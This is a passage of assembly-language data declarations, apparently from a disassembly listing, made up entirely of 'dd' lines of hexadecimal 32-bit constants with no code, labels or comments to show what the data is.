		dd 1EEA1408h, 0F8C9BB90h, 5B611A99h, 8991C095h,	5A38A66h
		dd 6DBB2177h, 0C7D50085h, 95314702h, 0E90E195Bh, 2F01C429h
		dd 70F447B8h, 2C195B0h,	25036080h, 0C95D01B5h, 2C2ECE65h
		dd 89895050h, 0AB25B9F5h, 0AAD4C46Fh, 0DE00E67Ah, 0DC99C157h
		dd 1A583EF8h, 0F9DB273Eh, 0AE240025h, 72BC90BBh, 0A108DA0Bh
		dd 81679830h, 782F3458h, 5F4BA492h, 7D385B9Dh, 6F729B80h
		dd 97F949ABh, 10E34E14h, 292802BBh, 66E3349Ah, 5B9E2573h
		dd 0ADCE7549h, 0FC64462Fh, 7C0055CDh, 9D2B9A72h, 0FC095B15h
		dd 0A6B4A43Ch, 0EE3A718Eh, 0C1A20F77h, 6224A13Eh, 0AD4C844Ah
		dd 0D9BF8458h, 0DAD755B9h, 162D80C9h, 35A6F5h, 0ADDAD97Ch
		dd 68E0F47h, 0DF6D628Ah, 89489AAh, 96002831h, 38BE6660h
		dd 61D9EBBBh, 0F60102ADh, 0F0967A84h, 682B7DE5h, 0C62F9F54h
		dd 0A9878054h, 83A972Ah, 3BADB63h, 910537D7h, 5CAA8914h
		dd 0C82C21Eh, 0C2FC7629h, 5929659Dh, 5378AD15h,	80527F04h
		dd 0CBB6FFD3h, 9FE0067Eh, 1A18B64Bh, 615625BDh,	7ACC8404h
		dd 80250CB9h, 0FE0056E4h, 0F847F917h, 74B843h, 300698C1h
		dd 0BB5192FAh, 5EE0A607h, 89145B39h, 8380C2AAh,	0D525576Ch
		dd 2610CE2Eh, 616F870Fh, 7C52FBBFh, 404D80FFh, 4B1F8D71h
		dd 60028D5Fh, 106E759Ch, 44E5CBF9h, 0A9109597h,	0FE4A7348h
		dd 0A4D4DCEBh, 10033713h, 26AD6BFFh, 65C1ED16h,	3795705h
		dd 20339C4h, 0EAA6B350h, 0DC895410h, 4313782Eh,	827F30Ch
		dd 5BB65242h, 44CE724Ch, 21D710E0h, 204519Bh, 0E0FE9849h
		dd 0BCD20CB8h, 0C71C25EFh, 0B9411706h, 5825EC4Bh, 8D1A5FEDh
		dd 99C1FD2Dh, 3A841502h, 8F28453h, 0E7B29200h, 0AF37A02Dh
		dd 617F7E02h, 90048C94h, 259D3371h, 705B3119h, 0E525B4A0h
		dd 0DE465608h, 0EC5F1B46h, 2CBC4DAh, 1AACB3ADh,	1E861D8Ch
		dd 0FB0C04ADh, 0B036C7F7h, 3DC8815Ah, 14C0E13h,	0CBE83D13h
		dd 35C58A4Ah, 9BFF4A54h, 496FC0F2h, 97A4203h, 0ECFC79DDh
		dd 24A8E359h, 0C64B14F2h, 66E881ADh, 0BF1C9B01h, 70E61311h
		dd 0B268E77Fh, 322D901Ch, 0C9870031h, 0A821F2A4h, 4E4FE92Ch
		dd 0C25BEDFCh, 23040B0Ah, 0F0B9E5AEh, 5BB657C1h, 48A3B540h
		dd 0DAE6070Bh, 201F55A4h, 0D2643A98h, 0F30FAD03h, 6BA5F65h
		dd 81F00E2Ch, 30ED3BEAh, 629F147Dh, 0FF29D29Dh,	105A60E6h
		dd 6EEE4832h, 0E76D655Eh, 5805404Fh, 1AC22B33h,	0CBC048F0h
		dd 5A4D380Bh, 2857F508h, 3C500302h, 3A81D003h, 192D45B3h
		dd 2D912784h, 0E96BA109h, 8752FFD9h, 39E1FDC8h,	40030007h
		dd 814FD23Ch, 171D7D9Ch, 9912589Fh, 0F8D38310h,	0C1C5B61h
		dd 209FD103h, 0B64DB769h, 85201208h, 8F64292Fh,	0C48385EEh
		dd 85EDF804h, 0EB018B51h, 0B0A98110h, 9B51446h,	0C3C03359h
		dd 1EDD7402h, 24453A66h, 8420EA2Ah, 11D26847h, 0E5D49AA7h
		dd 308301Ah, 1C179982h,	548DD3EBh, 0F64BD5C9h, 0AA59F0C5h
		dd 0BC6D2650h, 6FF12769h, 26558D04h, 92AB0913h,	67487B0Bh
		dd 40826170h, 94266DB2h, 4811EEE1h, 34A54B85h, 9E281530h
		dd 3B4DBC94h, 5F090B28h, 0DAFBACC6h, 80B3D9F0h,	0F4EBC08Bh
		dd 65008E77h, 4A91ED4Fh, 0EF9864h, 0D87396E3h, 0A68AC9B8h
		dd 31764200h, 0DCBEAE6h, 0D99B00A9h, 23775DD5h,	2200DEB8h
		dd 18C054C9h, 0EE6F3Fh,	438F7439h, 63620519h, 2EB38200h
		dd 0ED734108h, 0FCFEC5h, 0B28B3CC4h, 0BA4320A0h, 154C2B00h
		dd 0A23D19B4h, 320E1CAAh
		dd 0A7790068h, 3E4576EEh, 0CC7B8F02h, 60BE335Eh, 4E4C7Fh
		dd 9CDFA3D1h, 7EFB1863h, 3F596F07h, 0C7E06A9Dh,	6C5C5Dh
		dd 99AFCF55h, 36D8A777h, 0E75F0709h, 1F1FE44h, 5A9BB2CCh
		dd 40CBC4C9h, 9A888B28h, 1B6BE3Ah, 63D7AF2Fh, 8DD48541h
		dd 52BD1E04h, 0B2EFCF05h, 20C9C400h, 40C05D60h,	8C967A88h
		dd 0B5E31DD7h, 8DDB4CEDh, 21C77708h, 97B09EA1h,	4B24A9h
		dd 0A5BE5213h, 4E0E3F36h, 20628D03h, 3C210CEh, 995AE230h
		dd 0A1008BB1h, 210AB2A8h, 33ED9E01h, 920909CDh,	0AAC82109h
		dd 493800Ah, 0A79021h, 1F0276EBh, 0BD89F11h, 0C0895E67h
		dd 21BE8DC0h, 9E060D4Ch, 8318CC43h, 0AF0D5448h,	59E006E0h
		dd 208B627Ch, 0AB355214h, 8E5C080Ch, 0DD20283h,	8890C157h
		dd 0EF301DC8h, 9E510D7h, 637C0EB4h, 72B5EA7h, 0F575805Dh
		dd 0D12A58h, 0DD6F8106h, 78558C18h, 0F15270Fh, 314AA0F4h
		dd 7AAF2F0h, 0E20966Ah,	0AD85C0A3h, 55007DC0h, 0F3634DC6h
		dd 0E886F8Eh, 3D17F76Bh, 0F9CD3AE0h, 0CB007E5Ch, 3E933C60h
		dd 7E78FC6h, 0FF192B79h, 0A7A650F8h, 0D03DFC53h, 7F280E9h
		dd 0C4A8F7D7h, 17420029h, 35B06070h, 3102C768h,	0E41E9E67h
		dd 0EC15604Eh, 0E1B0040h, 30FDA5C8h, 0BE3F6DC9h, 2E6B00B9h
		dd 76D9BB8Fh, 8F60095h,	0EB43BAFBh, 0B54C8DB7h,	0EF7E07B3h
		dd 6FA0D9AEh, 7D4C07Fh,	4AA5821Bh, 3F7340F0h, 0B2000320h
		dd 0D0A642A4h, 0F1BBBA64h, 4B334183h, 0DBC039FAh, 0EDFC37B4h
		dd 8800C475h, 18CD36EBh, 3C5C16E5h, 587D543Dh, 0F0770C1Ah
		dd 4010C152h, 4030A272h, 9B336AB9h, 1D188860h, 7E4D70C5h
		dd 746203Bh, 4F8A0C00h,	0B7EACDECh, 0B97202h, 71A39470h
		dd 0AE4A0407h, 80A0C060h, 7836899Ah, 490900F0h,	8575337Ah
		dd 720EB197h, 805886C4h, 383DFCB4h, 602C60FAh, 0F9B6EBE1h
		dd 0C7634200h, 256F4179h, 1FDD7CC9h, 23DE991h, 212E44A2h
		dd 405C8840h, 0C9CB422Eh, 0D9003C1Fh, 59AA4A23h, 0F1C21822h
		dd 54B3206Ah, 290F3CF2h, 0F13F60Ch, 28325E09h, 0F395C3C7h
		dd 28C65Dh, 0AC8C9479h,	58EF80E0h, 7109D866h, 0E2997F21h
		dd 3FE6031Ah, 0F9110BFEh, 4823E9E0h, 0C16050C1h, 78836615h
		dd 0D25A5425h, 100072DBh, 31451444h, 42B8Ch, 0A39A096Dh
		dd 0F8BFCD88h, 54667400h, 0E31B3711h, 0F67257h,	3C6D83D4h
		dd 0F10118ABh, 80890701h, 3614B52Dh, 0C706E4h, 92FFD505h
		dd 94693C77h, 760034B8h, 6B449354h, 4A0A28h, 225D9E0Dh
		dd 0F704C3C4h, 0D5005875h, 6D234944h, 0B08B60CAh, 0BA5D3F38h
		dd 802C9E80h, 0B21E3506h, 11C3A1Fh, 0A3DE5740h,	65EF02h
		dd 927BBB78h, 0F07AE193h, 30A53901h, 0DA2D0BFAh, 0FB45C0D3h
		dd 0E9CFC5Ch, 49154753h, 0C70837ECh, 441921C0h,	0F3877Ah
		dd 0B44E54A1h, 5BF820F1h, 49600E00h, 0C43EBB52h, 0DC31C0D4h
		dd 0B36B9899h, 6BAF12Eh, 61DB28B0h, 5FCA0040h, 0D82C481Ah
		dd 5C00E5FAh, 5C2470Ah,	4C35F463h, 0B400BC45h, 34EDF9FDh
		dd 0B7033FD0h, 0FBD833B1h, 77DA068Ah, 20CB65ACh, 3274514h
		dd 206229D1h, 0C018A4C7h, 0B29A396Ch, 0DBB0F760h, 0F80A121Ah
		dd 690D068Dh, 8F575D6h,	37219FE1h, 0F68F80F8h, 6298C521h
		dd 2006F8E3h, 0FA003AD2h, 5899A619h, 0E2F6C1C0h, 88966B8h
		dd 9EF4214Dh, 0CE7D9971h, 8CD0C600h, 0C0BE4191h, 0A1F29C8h
		dd 785837A4h, 5C99A2C0h, 22A146C0h, 9AE250h, 59F98D99h
		dd 4A225BDAh, 3E5186FCh, 1DBDD4B0h, 0A1476A1Fh,	2576CE05h
		dd 60FAC403h, 39080053h, 5FE738C4h, 0D50772AFh,	0D724BFDAh
		dd 29181DAEh, 28BE5A98h, 0AE86E54h, 36575639h, 0E06B98Ch
		dd 10F6D12Ch, 4FA3112h,	7A592C60h, 6F5323A1h, 1801C411h
		dd 0BAB87A41h, 56E4DC48h, 89283498h, 2D28DCBFh,	0F40014D2h
		dd 839844A4h, 3D6E8C3h,	47CD54B2h, 0E8003CE2h, 0F646AF5Ch
		dd 612D3BFAh, 0CC8739D1h, 94462021h, 3F201E12h,	0AC0CF71Ch
		dd 4D801h, 4485B489h, 0CDA534EFh, 81428F20h, 78134890h
		dd 0F8ADA7D8h, 0A4725A06h, 0EAA0E871h, 0D9CB0C9Dh, 3071CF2Ch
		dd 1C2FAD04h, 0F7C00ED7h, 0F6748B81h, 34A61452h, 0D800A071h
		dd 0B5089AC8h, 38C0DC5Bh, 317AAEFBh, 7534029Eh,	4C585772h
		dd 6A05B0AFh, 32F7C0E9h, 63015BAFh, 0BD94B35h, 7D3C4B5h
		dd 43DAB340h, 65B1CC61h, 0EB7FD00h, 35161ECCh, 895E7C4h
		dd 8E03CC5Dh, 31E0B705h, 2DC363F0h, 0C1CB6Bh, 0EC1057C8h
		dd 0D777014Fh, 0D25F2199h, 0F906CC14h, 89A3CD0Ch, 231A8A7h
		dd 0B40B3AE1h, 4484DAF0h, 0B7036045h, 0ECC2310h, 84006211h
		dd 9996B70Bh, 4A0787EAh, 0C2E3273Fh, 0C00E5405h, 288E8249h
		dd 0B99C8077h, 1AD2D8BDh, 0B127C83Eh, 60083884h, 239D7A5Dh
		dd 0C2114F53h, 7A001C39h, 0F413DADh, 0F6E96119h, 0E237ACA7h
		dd 0C7C30872h, 5156510Ah, 5A81C409h, 25FBC840h,	99D29882h
		dd 84605274h, 5F342CD8h, 0AC8B91F5h, 14C0C6C8h,	6E5605Bh
		dd 0B8BE53A5h, 423EF069h, 70CF74E0h, 4439603Ch,	182030DCh
		dd 1810A3D0h, 0F8097650h, 9DF6AEDFh, 80531148h,	6391B23Ah
		dd 0D41B0397h, 68F0B9EBh, 166E8019h, 581807D0h,	53A07A08h
		dd 40D07367h, 800F17Ah,	51AF3C88h, 9806B4FDh, 79716C3Ch
		dd 48C0CA8h, 0C042999Ch, 83F86791h, 0D79994F8h,	39347DE0h
		dd 0CE4B3B05h, 28483271h, 99A0C008h, 0B146C05Eh, 0F4005122h
		dd 7C199998h, 1A4CA57h,	50D4BDB8h, 2020A62Ch, 0DC4018ACh
		dd 8BCD189Fh, 16B83937h, 0DE325803h, 125003BFh,	85B3E90h
		dd 0DC81FF48h, 0B4447881h, 0F225827h, 7E753503h, 7C50D187h
		dd 0F8794879h, 18C03F22h, 60F7250Ch, 0AC22F1D5h, 1014723h
		dd 0FECC12B7h, 98A180Eh, 1237520h, 3FA6144Dh, 804C6044h
		dd 7210E341h, 71C76BF9h, 21872456h, 8784530h, 9DC00BA8h
		dd 46C04399h, 4C2289h, 5A9995F9h, 4662039h, 18903300h
		dd 4852ED46h, 0D01C4CF6h, 0CC81B449h, 9F213A57h, 0D343FB18h
		dd 147B25Fh, 0F5B7510h,	32DCCC2Bh, 0DB221394h, 5E23743Eh
		dd 0C3718700h, 24D8C070h, 59C2AC7h, 6161235Bh, 0A634D2BCh
		dd 0B30166D1h, 13D78F5h, 4C486720h, 6822742Ah, 8E584C0Dh
		dd 2089B049h, 1C060A4Eh, 0CCF821FCh, 5860F8A8h,	0B6B75400h
		dd 0F2110957h, 0D77348D0h, 85812A0Eh, 24075149h, 3411984Dh
		dd 0A4250902h, 34C0F279h, 50985AA6h, 71CDAD0Ch,	48C2A905h
		dd 0F106280Dh, 40169E52h, 0FC8C144Ch, 0C2008CC5h, 0FB9FF2Ah
		dd 0C10BED0Eh, 0BAC4D969h, 0E079E86Fh, 85AC8F0Bh, 0B38024C3h
		dd 0B990C8h, 0A7809F3Ah, 254E178Ah, 28CEC502h, 4746B197h
		dd 6060E464h, 570D96h, 0BF292A9h, 0B44BD1C9h, 2379076Fh
		dd 58633CAEh, 0CC1AFCC9h, 0EC40A1A8h, 53B087C2h, 80DDA53Eh
		dd 0EAB316D6h, 580546DAh, 24126ED0h, 0BC500037h, 34E8E1CCh
		dd 41F9FD00h, 71D9BED7h, 0E85B4848h, 9C162200h,	0D5743BD2h
		dd 0CB81CA07h, 0B801F795h, 0EBCB8EA4h, 0D04006E4h, 5832914Fh
		dd 0CB7E2F13h, 0EA6AA800h, 31C48F02h, 0CCA0F0F8h, 201BFD3Fh
		dd 0D0EE2524h, 521889FDh, 0D67C059Bh, 0C780AC9Fh, 7E76C2D4h
		dd 0B6FBF800h, 0BBCE23AAh, 67D1098Bh, 0B82FFF6Eh, 200E7600h
		dd 0D948FD04h, 0C00AC820h, 53A37A5Fh, 1A000EE9h, 0DA877A47h
		dd 324CC30Fh, 983722D0h, 18C20E8h, 54D19E2Ch, 4C514674h
		dd 74F000BCh, 3FD36D23h
		dd 0C0A0E54Eh, 7880B3D6h, 0CE289DA1h, 3F19A40Dh, 0ED505166h
		dd 7F003C62h, 0DAE41CBEh, 37A8DCFh, 59272900h, 28573EABh
		dd 620D0565h, 8E05C266h, 0C0C18894h, 24506BFBh,	0AE9DCA0Eh
		dd 0A0D0923Eh, 0FD3C7654h, 60613C20h, 6AFDD95Ah, 0CB00FEA9h
		dd 0ACD4AAE7h, 0F41B8Fh, 0D943B5D1h, 215AF39Fh,	28699400h
		dd 0BE59A610h, 45F4AFCh, 0B7D3B8DCh, 61D209Ch, 4BB1BB51h
		dd 0D09068D7h, 7734AE20h, 63721E89h, 8A4602ECh,	0E05B115Ch
		dd 20435E90h, 676811C4h, 38E65F91h, 0B4C26C02h,	0F81C451h
		dd 0E58DFD0Ah, 30880318h, 200A0007h, 53E4A113h,	6460889Eh
		dd 3FD2D9E0h, 6C1749A2h, 0E0066939h, 0E0A41F80h, 63AF0703h
		dd 90A23BCAh, 9E50EFh, 0B0E4480Eh, 0BAFD4E16h, 0DE640A00h
		dd 392ADAB9h, 2CEB4C70h, 41E01187h, 50547695h, 0EEAD0ACCh
		dd 0CB865101h, 606CA69Dh, 0C8BC8881h, 215D7C2Dh, 0E0C0F978h
		dd 0A49625ABh, 8618C9Dh, 90A60258h, 80DFC309h, 764F9520h
		dd 0AC8000DCh, 484609F6h, 50922BEAh, 0F6E30644h, 0EC762850h
		dd 57D00914h, 3C872C6Eh, 53D9514Ah, 0D2788108h,	0E3C93EBAh
		dd 8C1CD1A1h, 1B19E92Dh, 59C04A60h, 64495F3Eh, 20C1980Bh
		dd 9894869Dh, 0BAF10DC0h, 0A21CF09h, 80DB885Ch,	4AAED204h
		dd 8FEC9B06h, 0EA4DEC02h, 484460BAh, 13158574h,	452E7Ah
		dd 9E476424h, 0C032AF8h, 2C417E52h, 0EAB100F1h,	5A5EC3C4h
		dd 0D20E29EDh, 820949AAh, 0E4B24498h, 0CC2C4878h, 0FFD4A680h
		dd 0FB1E9CCAh, 0F800CE3Eh, 0F702476Eh, 159E0681h, 78054232h
		dd 98C27F44h, 0E5C028Dh, 35B5939Ch, 0E2BEA082h,	7AD0BC20h
		dd 6398A039h, 6F2A0026h, 57E2C42h, 2800F4B4h, 0BAB38B4Eh
		dd 0B04DD70Eh, 79A864D4h, 487EC450h, 0F2855D24h, 9C00BACBh
		dd 4FD1818Fh, 372E2469h, 1467698h, 0C0C2EA07h, 1C6269D0h
		dd 0C579D459h, 77245618h, 4308680Ch, 769602F0h,	8434D34h
		dd 5079AA8Bh, 0AFDFC927h, 0CCE13F8h, 0A3C0C1C8h, 4D7BABh
		dd 6D87B9E6h, 35BE6847h, 0C48D8CA0h, 64EAD426h,	1A57D203h
		dd 0FB183E1Fh, 10C2083Ch, 4735062h, 6D4EA8AEh, 864C8139h
		dd 798F004Fh, 2EA73D33h, 0E56B9A80h, 0D93CAC14h, 27014C1Eh
		dd 327CEEF0h, 0BAEC07ABh, 0B08DE9C2h, 0DEC5B30Ah, 0D600EF77h
		dd 0A97E026Eh, 70C1F9E0h, 82F603F2h, 31B92905h,	912EE3F8h
		dd 85000974h, 0E99E780Eh, 7DF650h, 0F81CA555h, 0AE042D5h
		dd 31528200h, 0F2B17D0h, 0CE982Ah, 0FC89F71Dh, 42A853E5h
		dd 0B71CA201h, 587EC5E7h, 0AE6CE80h, 5E63CEBAh,	0BD007375h
		dd 3F994492h, 2630CC9Ch, 973140h, 0BA21F29Bh, 0E8196DABh
		dd 450883B2h, 7762197h,	205685B2h, 668771C8h, 95E92800h
		dd 334E18CBh, 0E7293A8Eh, 94043066h, 806D9A01h,	70654D63h
		dd 21DC0898h, 0FC008126h, 0BD1FF80Eh, 0EF6FACh,	36CD5BCEh
		dd 0B7F34CE8h, 0E4338C1Ch, 65F7C580h, 0C4F2750h, 6822EF67h
		dd 46754028h, 0A03F9A36h, 28046D0h, 0BA1DF297h,	1044318Bh
		dd 0FF28E72h, 0EDF865Dh, 18541A66h, 2E113300h, 53E7AFD2h
		dd 9D9F3C6Ah, 3AA02104h, 84DF806Fh, 9526B12Fh, 531A0CC4h
		dd 3573C198h, 31A6B181h, 803D1B15h, 0A7986051h,	0C84C68Bh
		dd 8CBF3708h, 21C05108h, 39A7807Fh, 30A50015h, 0B3BDB32h
		dd 0C100431Ah, 9F90056Fh, 3A18114h, 491316FAh, 0CAF07F60h
		dd 890302EBh, 14549B97h, 6D510047h, 16889604h, 220A66BAh
		dd 0BCD42959h, 541F6580h, 0B96E97h, 0BC363AA6h,	301D3F8h
		dd 6F00877Ch, 0F39B9924h, 506D8C32h, 8C82ACC2h,	1FF29504h
		dd 49629BBAh, 0F28C7020h, 9F9200D7h, 9339E521h,	2F2481CAh
		dd 8B0F1841h, 5AB9E5C4h, 6BECE840h, 60937930h, 47B82062h
		dd 8418E4ABh, 40D04D27h, 0F0230E51h, 57C1C898h,	9828B044h
		dd 8E215E08h, 0A9F0001Bh, 0A24DA826h, 2F112CCAh, 6A074E27h
		dd 0B0A5B059h, 7BBE9530h, 4910FA76h, 313AD0CDh,	38C135B0h
		dd 6000C117h, 0A5B276BDh, 0C143283Bh, 0E1C31349h, 4C73DC8Dh
		dd 7634F107h, 78B0F5D3h, 66DC0Ch, 950EB84Ah, 41266B64h
		dd 591C6934h, 4423A43Ah, 0BBF61200h, 0EAC76F0Bh, 127C9047h
		dd 3AE573C5h, 492378h, 7186414h, 701F5BAAh, 840F391h, 48FBE793h
		dd 88E854C9h, 0A9E9024Ah, 42F367ABh, 6080C884h,	2394F01Fh
		dd 581120C8h, 0F017720Eh, 64D2F280h, 0CD3735DAh, 96F0893Fh
		dd 8A5641h, 0DE133DB6h,	0B399F8C5h, 2FC17605h, 9C04C470h
		dd 9F223F80h, 8F29A30h,	6CB3BA22h, 1D917558h, 418064F2h
		dd 0AABF71D9h, 0CC080587h, 0A796C01Bh, 0B443C68Dh, 0A7FA0093h
		dd 5DD6BC30h, 19C03CF2h, 2CBFF649h, 59CB091Fh, 5C004A23h
		dd 0E750F992h, 0C4AF3001h, 27790881h, 0FECABEF0h, 431D0026h
		dd 0CDB038F9h, 0B618F733h, 65986AB2h, 1BA50106h, 3EB603Eh
		dd 30ABEC08h, 0BABC870Ah, 0E03DDBBEh, 0F071C440h, 5858CD7Dh
		dd 2D408728h, 0A5216FECh, 70481931h, 8FA70894h,	5CC4A4C6h
		dd 0A79C8340h, 0CC7AA340h, 0E497A00h, 0CA8E34C9h, 288D52B6h
		dd 0EE3055E2h, 0D3950087h, 0C3A43651h, 0A326DABAh, 0C80268F5h
		dd 48491B69h, 25FCF4h, 3B407DE8h, 4C821ADEh, 98D848C0h
		dd 6A47F5h, 0FFD6A723h,	8E6418CDh, 80C75F3Eh, 893BD21Fh
		dd 0AC591h, 7ED0FB1Bh, 337C8DABh, 8234300h, 98B2DBC6h
		dd 3BDA006Fh, 4D541DFAh, 3E01CF8Dh, 1A909AB5h, 27FC0856h
		dd 0BF130FBAh, 6060C9F2h, 0F45F6C8Eh, 0DFFD2500h, 6AA5C595h
		dd 480101E4h, 0B7E73CEFh, 263EF48Bh, 0C00DDFCh,	9A8DC1ECh
		dd 3FD578h, 0AD5AC6FEh,	0E6D65346h, 7EB2881Fh, 8FE10140h
		dd 0C4D80DBh, 55E9C0EBh, 9267780h, 1C07E4A4h, 0E803D6C2h
		dd 0E899BBC5h, 0FAD7FDCh, 90BFE28Fh, 18585B2Ch,	1D80FB04h
		dd 82811E5Fh, 0BC24A478h, 0B4A6034Ch, 0FF736E92h, 2A366100h
		dd 46D69D5Ch, 3A85181Dh, 42953982h, 81D05089h, 0FA271D4Bh
		dd 99D8401Ah, 9D28721Eh, 0DC449102h, 9CB4F9BCh,	0CFEC0E9Ch
		dd 6C406292h, 0D35254Ch, 0A05BEF00h, 6B4BD23Eh,	83270054h
		dd 22236889h, 13007A03h, 0B185A487h, 0FD2EC7h, 0AB7537C0h
		dd 0FB05E86Ah, 80A23239h, 0B0C96BF0h, 0E8A6F821h, 1C8C0045h
		dd 2517DCD7h, 0E500B4C3h, 8DDE3796h, 0E7E0C5h, 2BC79DC9h
		dd 0DD4ADA0Bh, 17044E00h, 5D8357A2h, 7ED500FFh,	0A6215C8Eh
		dd 3D05D224h, 0C69E5096h, 3FACAC03h, 9AEED81Dh,	52700064h
		dd 84B3E12Eh, 6F1D3E6Bh, 5AC015FDh, 35D0EC9Bh, 136E0057h
		dd 0EDA50A78h, 0DE7E8295h, 5E06E61Dh, 57039301h, 0D4E02EFBh
		dd 0ABC9009Ch, 0E0FD5377h, 84006BFEh, 0CFB04815h, 1FC462Bh
		dd 2220E9Dh, 6170085Ch,	4B8024DEh, 1DCCFE00h, 0EC8F5F58h
		dd 9B801E0Eh, 0E20078E1h, 0D4B11673h, 32031144h, 0E7C52B43h
		dd 8E6D8FCh, 7A4A00C3h,	0FFBE6C9Ch, 5E060447h, 994CDA98h
		dd 9E1000C6h, 742FBD84h, 0F600D7F7h, 1EF28265h,	3093ADEh
		dd 4E830E70h, 8FD07C2Fh, 2C4C6661h, 86BB3DB4h, 15D8E320h
		dd 42EE00A0h, 0A91DA008h, 0C50F4986h, 2BB5AACh,	80E124D8h
		dd 0C4B72DB0h, 3D72E25Bh, 0F906ECh, 0BB50AB88h,	35658758h
		dd 7A676824h, 1A280A00h, 1ECB9BE3h, 40EB7AB3h, 11D4E449h
		dd 2102CEFEh, 0BF0F2D4Dh, 0D29F41CAh, 75E07FCh,	0B7E505D8h
		dd 528EB17Dh, 37DFECF7h, 23EE9900h, 0B97B3AEBh,	0FB900013h
		dd 7C42FAD3h
		dd 0F1331DEDh, 0CD07F004h, 0F5192490h, 0EFF9004Bh, 0B0980DAEh
		dd 3900B89Ah, 8F05C9Eh,	0CFFE25h, 0D616E01Ah, 8351FD4Fh
		dd 0F100DC77h, 0C54A201Dh, 7BAFE386h, 0A7B71E8Ah, 0CC148F8Bh
		dd 0D1E5A080h, 871D71A5h, 7CFD28h, 547DD2F7h, 807F12h
		dd 30034FF5h, 26AD529Eh, 0B6E00200h, 2B7DDC8Eh,	822000CAh
		dd 0DEED75B0h, 0DA008DA8h, 730BE87Fh, 3E6192h, 1B582259h
		dd 5AF0B393h, 8CBE3700h, 0E98F4151h, 53C40028h,	11643F4Dh
		dd 9500C265h, 542600Ch,	1C33DD01h, 80B0C0ABh, 0F12A591Bh
		dd 0A200F555h, 416A377Eh, 3BACC19h, 3942F82Bh, 513C5B9Ch
		dd 7826A4EDh, 83FC961Eh, 0ECAF8F1Fh, 0C486E083h, 760A0467h
		dd 0C0E540E2h, 4453AA3Ch, 1A4CE100h, 0E063472Eh, 0CFED005Ah
		dd 7E93B5A5h, 24034415h, 0C2EBB6FEh, 8D41E012h,	40040E6Ah
		dd 0C3202C95h, 0A3F873DFh, 0CA327103h, 82F9734h, 0E4729068h
		dd 4B535400h, 0EE25A0ECh, 0CAF289h, 0EC429EBh, 0DD8F16B4h
		dd 851FA00h, 13C8E317h,	284A4861h, 49D80501h, 3424829Fh
		dd 9800267Ch, 0A50EF854h, 4FF8B09h, 3AA893CFh, 0D6D0D0D4h
		dd 0F217D06Ah, 0AA157398h, 0A8D701E4h, 1D308B5Eh, 0CD57F8h
		dd 9DA726C0h, 0E1A9CBF6h, 0B4E81C98h, 6F309600h, 7B7E741Eh
		dd 765B0062h, 0D710C9ADh, 0F6F8A80Dh, 87FD80A0h, 0B0288E3Bh
		dd 78410F1h, 0A67C0F50h, 71E0C066h, 4D4C8306h, 1EF09A39h
		dd 0D8C3074h, 395931D9h, 3B802BE8h, 0C7E5CD6Dh,	1B0E05F6h
		dd 604150D0h, 9E5F79A0h, 0E157008Ah, 953EAC12h,	870047D7h
		dd 5B164B19h, 14A6975h,	0EA0FF388h, 0E851170Ah,	0EC005245h
		dd 104EA8F8h, 1121A8Ch,	0E55EDAAEh, 0D479D6F3h,	0D8004693h
		dd 0F03506BAh, 5721C71h, 5B67FA64h, 0D7F48098h,	0D400DBA1h
		dd 84319F43h, 1F7D556Ch, 805271h, 8B130117h, 0E0000EA0h
		dd 6E96EFE6h, 10B71D7h,	7A9F3B61h, 0FF6C70C8h, 0FD3A0AD8h
		dd 0D42D000h, 98DDF55Ah, 0B730064h, 8477ED40h, 32009516h
		dd 678F33F7h, 21452Bh, 31A19118h, 4F2558D2h, 0B5881E01h
		dd 0F96F7895h, 0E0F07DF0h, 9EF1009Bh, 0F876AACCh, 30B05489h
		dd 8C46E500h, 884B60BAh, 13A30097h, 8DAC7726h, 520018C7h
		dd 0F2B8612Dh, 0B055CCh, 0E6BB32DBh, 0A83E6EA0h, 0C9FED500h
		dd 0D810E218h, 0B26C0051h, 3425050Ch, 6404DB9Fh, 390A12D5h
		dd 0DE9558D1h, 4AD330h,	8EBE0C2Eh, 8966F368h, 13A86A12h
		dd 0AF828A1Fh, 81E7ADCCh, 0DA9D57D3h, 3B3B2770h, 0EED0BC7Fh
		dd 773D0063h, 10E401E5h, 800FA788h, 0B8694CCFh,	785BBA68h
		dd 5216296Dh, 417D0808h, 15004B9Eh, 11ABCDEAh, 0F4F5003Dh
		dd 68544990h, 20C3B9AFh, 443F065h, 3EA83330h, 0C8D4801Ch
		dd 0BD3A5708h, 9737004Ch, 90046D81h, 0F87CB0h, 0A5854314h
		dd 0B2EC73C8h, 9849AE1Eh, 1CB9DF83h, 1B5802B8h,	0ABB320BAh
		dd 0B070185Ah, 686B4C01h, 67C39563h, 0CF9AD1h, 65562880h
		dd 0CB543134h, 0D97A3Ch, 72EC2342h, 0FFF09Dh, 2781207Ch
		dd 310330E9h, 3D3BC400h, 0BCEE8A1h, 5FC03A7h, 0C0497562h
		dd 0AA1DD5B8h, 0E84AA409h, 47B400C9h, 0C8AEE5h,	0C0DB35FEh
		dd 0A8FA6510h, 0FF82812h, 7A12A00h, 6CE103h, 8F5196AFh
		dd 0E7131F05h, 0E6B7B600h, 0EA0257FEh, 0F67A00EEh, 22E225F4h
		dd 0F3001D1Fh, 487FD93Bh, 10CFD5Dh, 0BB14627Eh,	0E03DE439h
		dd 0C7F6ED4Ah, 17BD1D00h, 4B8320C1h, 6E7600C5h,	0FA6741DAh
		dd 0C970D208h, 0A249D400h, 0D80C01D3h, 6547004Fh, 911F797Fh
		dd 2E155FB6h, 16D8501Bh, 0A800B2E9h, 0FF2990FBh, 54F2C9h
		dd 6B79A974h, 53A4F7C6h, 985F0901h, 0F3BEF16Eh,	843091DDh
		dd 18B2074Ah, 8C946C10h, 4100EE51h, 1ABE9522h, 3959DDh
		dd 5FECF27Ch, 9481B5E7h, 1B8B100h, 0A91B0DBFh, 7CB603B2h
		dd 809F7CBh, 0E511FCB8h, 0B0A82C00h, 0EFF2B4C6h, 0E718C906h
		dd 0AF999500h, 7F01F565h, 0F13C17CCh, 0B2307302h, 2E830446h
		dd 0E0F0B249h, 0B430F37Ch, 39BF9941h, 0AE5D000Ch, 3E1E67A8h
		dd 7E0FAACAh, 0A37CAF89h, 98C2B0ABh, 72C331D9h,	5AD1743Ch
		dd 51DEC62Ch, 0F8842000h, 0BE96597Bh, 825002Ah,	13804C98h
		dd 760057F7h, 0C91C9B9Fh, 0E34AB1h, 0AF2991A8h,	0DDB2C5EEh
		dd 996EAA00h, 4D122365h, 3993604Ch, 0FFE79F3Fh,	745D900h
		dd 746F521Ch, 71980017h, 0CC8457F5h, 8C3B7C54h,	5AD78B13h
		dd 0FA2940D5h, 188EF3FCh, 7E21DDDBh, 0D8D272ABh, 437DD73Eh
